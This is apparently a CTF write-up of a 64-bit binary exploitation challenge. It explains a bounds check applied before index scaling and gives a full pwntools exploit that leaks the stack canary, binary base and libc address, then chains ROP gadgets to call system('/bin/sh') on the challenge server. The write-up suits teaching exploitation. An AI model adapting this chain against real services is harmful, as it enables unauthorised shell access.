Points: 200 Category: Exploitation Author: Dagger

Introduction

In this challenge, we are given an ELF 64 bits binary with its C library. The binary is very simple, it allow us to edit/read the content of an array.

$ ./exploitClass 
Welcome to the student registration service for the binary exploitation class in WS18!
Enter 1 to read, 2 to write and any other number to exit!
1
Which entry to show?
0
John
Enter 1 to read, 2 to write and any other number to exit!
2
Which entry to write?
0
What to write?
toto
Enter 1 to read, 2 to write and any other number to exit!
1
Which entry to show?
0
toto

Vulnerability

The vulnerability is located in the writeData function.

void writeData(char *entry_array) {
  unsigned int index;
    
  puts("Which entry to write?");
  index = 0;
  scanf("%u", &index);
  if ( index <= 252 ) {
    puts("What to write?");
    read(0, (void *)(entry_array + 12 * index), 12);
  }
}

This function write some data at a given index which is multiplied by 12. There is an if condition which check that the index is in the good range. But the condition is done before to have multiplied the index by 12. So we can overwrite the data on the stack which are located above the array.

Exploitation

The exploitation is more complex by the fact that:

  • The binary is compiled with the Position Independant Executable protection (We need a leak in order to do a ROP) ;
  • The binary is compiled with the Stack Smash Protection (We need to take care of the canary) ;
  • The binary is FULL RELRO (We can’t overwrite the GOT entry) ;
  • The binary also has No eXecutable stack (We can’t execute a shellcode) ;

Using both writeData and readData functions we can easily leak the data which are above our array. To do this we are going to fill the last entry of the array with some printable character until we reach an address above the array. (The function used to print the data in readData() is puts())

The exploitation technique is in four parts:

  • Leak the canary which is the first value above our array ;
  • Leak one of the .text address which is the next one after the canary. This address is the __lib_csu_init address. Using this leak we can easily calculate the binary base address and so on, defeat the PIE protection.
  • Set again the canary value as we needed to overwrite it in order to leak the previous address.
  • Overwrite the saved RIP with our gadget. I choose a basic ROP technique, ret2plt to leak the LibC, ret2main and then ret2libc.

Here is the final exploit:

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *

context(arch="amd64", os="linux", endian="little")


class Pwn:
    def __init__(self):
        self.p = None
        self.e = ELF("./exploitClass")
        self.libc = ELF("./libc.so.6")

    def start_binary(self):
        self.p = remote("class.uni.hctf.fun", 24241)
        self.p.recvuntil("exit!\n")

    def read_data(self, index):
        self.p.sendline("1")
        self.p.recvuntil("show?\n")
        self.p.sendline(str(index))
        data=self.p.recvline()
        self.p.recvuntil("exit!\n")
        return data

    def write_data(self, index, data, line):
        self.p.sendline("2")
        self.p.recvuntil("write?\n")
        self.p.sendline(str(index))
        self.p.recvuntil("write?\n")
        if line == 1:
            self.p.sendline(data)
        else:
            self.p.send(data)
        self.p.recvuntil("exit!\n")

    def leak_libc(self, bin_base, leak_canary):
        pop_rdi=p64(bin_base+0x14a3)
        puts_got=bin_base+self.e.got["puts"]
        puts_plt=bin_base+self.e.plt["puts"]
        main_addr=p64(bin_base+self.e.symbols["main"])

        self.write_data(22, p64(leak_canary), 0)
        self.write_data(24, "A"*8+pop_rdi[0:4], 0)
        self.write_data(25, pop_rdi[4:]+p64(puts_got), 0)
        self.write_data(26, p64(puts_plt)+main_addr[0:4], 0)
        self.write_data(27, main_addr[4:], 0)
        self.p.sendline("3")
        data=u64(self.p.recvuntil("exit!\n")[17:23]+"\x00"*2)
        return data

    def exec_system(self, libc_base, bin_base):
        pop_rdi=p64(bin_base+0x14a3)
        system_addr=libc_base+self.libc.symbols["system"]
        bin_sh_addr=libc_base+next(self.libc.search('/bin/sh\x00'))

        self.write_data(24, "A"*8+pop_rdi[0:4], 0)
        self.write_data(25, pop_rdi[4:]+p64(bin_sh_addr), 0)
        self.write_data(26, p64(system_addr), 0)
        self.p.sendline("3")

        self.p.interactive()
        self.p.close()

    def pwn_binary(self):
        self.start_binary()

        self.write_data(21, "A"*12, 0)
        self.write_data(22, "A", 0)
        leak_canary=self.read_data(21)[13:-1]
        leak_canary=u64("\x00"+leak_canary)
        log.info("Leak canary: "+hex(leak_canary))

        self.write_data(22, "A"*12, 0)
        self.write_data(23, "A"*4, 0)
        bin_base=u64(self.read_data(21)[28:-1]+"\x00"*2)-self.e.symbols["__libc_csu_init"]
        log.info("Leak binary base address: "+hex(bin_base))

        libc_base=self.leak_libc(bin_base, leak_canary)-self.libc.symbols["puts"]
        log.info("Leak base libc address: "+hex(libc_base))

        self.exec_system(libc_base, bin_base)


def main():
    pwn = Pwn()
    pwn.pwn_binary()


if __name__ == "__main__":
    main()

Let’s try it:

Flag

Done.

Ps: You can find the binary and the exploit here


Pwntera

Yet another french CTF team that sux !